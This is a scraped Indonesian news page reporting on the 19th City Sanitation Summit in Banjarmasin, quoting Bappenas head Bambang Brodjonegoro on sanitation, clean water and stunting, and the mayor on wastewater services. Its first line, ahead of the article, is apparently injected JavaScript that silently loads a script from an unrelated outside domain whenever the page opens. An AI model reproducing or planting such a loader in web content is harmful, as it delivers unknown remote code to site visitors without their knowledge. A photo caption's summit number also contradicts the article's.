(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Bambang Brodjonegoro: Kebanyakan Daerah Masih Menomorduakan Sanitasi dan Air Bersih


BANJARMASIN, Puncak gelaran City Sanitation Summit (CSS) ke-19 digelar di Hotel Rattan Inn Banjarmasin, Selasa (24/9). Selain dihadiri sedikitnya 231 kabupaten dan kota seluruh Indonesia, juga dihadiri Menteri PPN/Kepala Bappenas RI Dr Bambang Brodjonegoro.

Dalam pemaparannya, Bambang mengapresiasi keberadaan Asosiasi Kabupaten dan Kota Peduli Sanitasi (AKKOPSI) yang memperhatikan isu-isu sanitasi maupun air bersih.

“Tidak boleh kepala daerah melupakan upaya untuk memberikan yang terbaik dalam hal air bersih maupun sanitasi. Saya mendukung upaya AKKOPSI yang berupaya yang namanya berbagi pengalaman. Karena satu daerah itu perlu belajar dari daerah lain terutama yang sudah sukses,” ucap Bambang.

Bambang Brodjonegero saat pembukaan CSS ke-13 di kota Banjarmasin. foto: fikri

Bambang menekankan, jika pemerintah daerah tidak memperhatikan sanitasi maupun air bersih, dapat berpotensi pada stunting atau pengkerdilan. Stunting sendiri mengakibatkan kerugian secara ekonomi, dan berpotensi mengarah kepada kemiskinan.

“Jadi kita inginkan sanitasi dan air bersih itu selalu menjadi kualitas utama dalan infrastruktur di setiap kabupaten dan kota seluruh Indonesia,” tegas Bambang.

Meski isu sanitasi maupun pengolahan air limbah menjadi atensi pemerintah pusat, namun menurut Bambang, kewenangannya berada pada pemerintah daerah masing-masing. “Ada dana alokasi khusus dan dana desa. Sebenarnya bukan dari pemerintah pusat mau ngasih berapa. Tapi (pemerintah daerah) bisa memanfaatkan atau tidak prioritas air bersih dan sanitasi dan tidak hanya melihat infrastruktur lainnya seperti jalan. Itu yang jadi masalah di daerah, kebanyakan menomorduakan sanitasi dan air bersih,” terangnya.

Menurut Bambang, jika air bersih dapat dijangkau dengan mudah oleh masyarakat, maka perusahaan daerah air minum (PDAM) harus mengeluarkan kebijakan subsidi. “Atau pemerintah kota memastikan tarif yang ditetapkan PDAM adalah tarif yang bisa dijangkau tapi sesuai dengan kualitas,” kata Bambang.

Peserta City Sanitation Summit ke-19 di Kota Banjarmasin. foto: fikri

Di kesempatan yang sama, Walikota Banjarmasin H Ibnu Sina menyebut, Kota Banjarmasin yang memiliki perusahaan daerah pengolahan air limbah atau PD PAL, memiliki kapasitas yang mampu melayani sedikitnya 17.000 pelanggan. Saat ini, di Kota Banjarmasin baru 7.000 pelanggan yang menggunakan jasa PD PAL.  “Masih ada 10 ribu yang tersedia. Hanya himbauan bagaimana masyarakat untuk bisa berlangganan pengolahan air limbah. Tarifnya 25 persen dari tarif PDAM,” kata Ibnu. (fikri)

Reporter : fikri
Editor : bie

 


Desy Arfianty

Recent Posts

Diakhiri Nobar Timnas, Pj Bupati Kapuas Menutup Expo Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi secara resmi menutup gelaran Expo… Read More

2 jam ago

Bingkisan Kebahagiaan PLN untuk Warga Kalsel yang Membutuhkan

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur (UIP3B) Kalimantan melalui… Read More

2 jam ago

Asa Warga Banjarmasin Timnas Indonesia Masuk Olimpiade Paris 2024

KANALKALIMANTAN.COM, BANJARMASIN - Nonton bareng (Nobar) laga semifinal AFC U-23 Indonesia vs Uzbekistan di halaman… Read More

2 jam ago

Ini Tiga Rekor Muri Sebagai Kado HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS – Tiga rekor Museum Rekor Indonesia (Muri) menjadi catatan kado Hari Jadi… Read More

2 jam ago

Ritual Laluhan dan Ngarunya Lengkapi Perayaan HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Momen perayaan Hari Jadi ke-218 Kota Kuala Kapuas dan Hari Ulang… Read More

2 jam ago

Laga Terakhir Timnas Indonesia Berharap Juara Ketiga Piala Asia U-23

KANALKALIMANTAN.COM, BANJARBARU - Tim Nasional (Timnas) Indonesia U-23 dipastikan gagal melaju ke final Piala Asia… Read More

4 jam ago

This website uses cookies.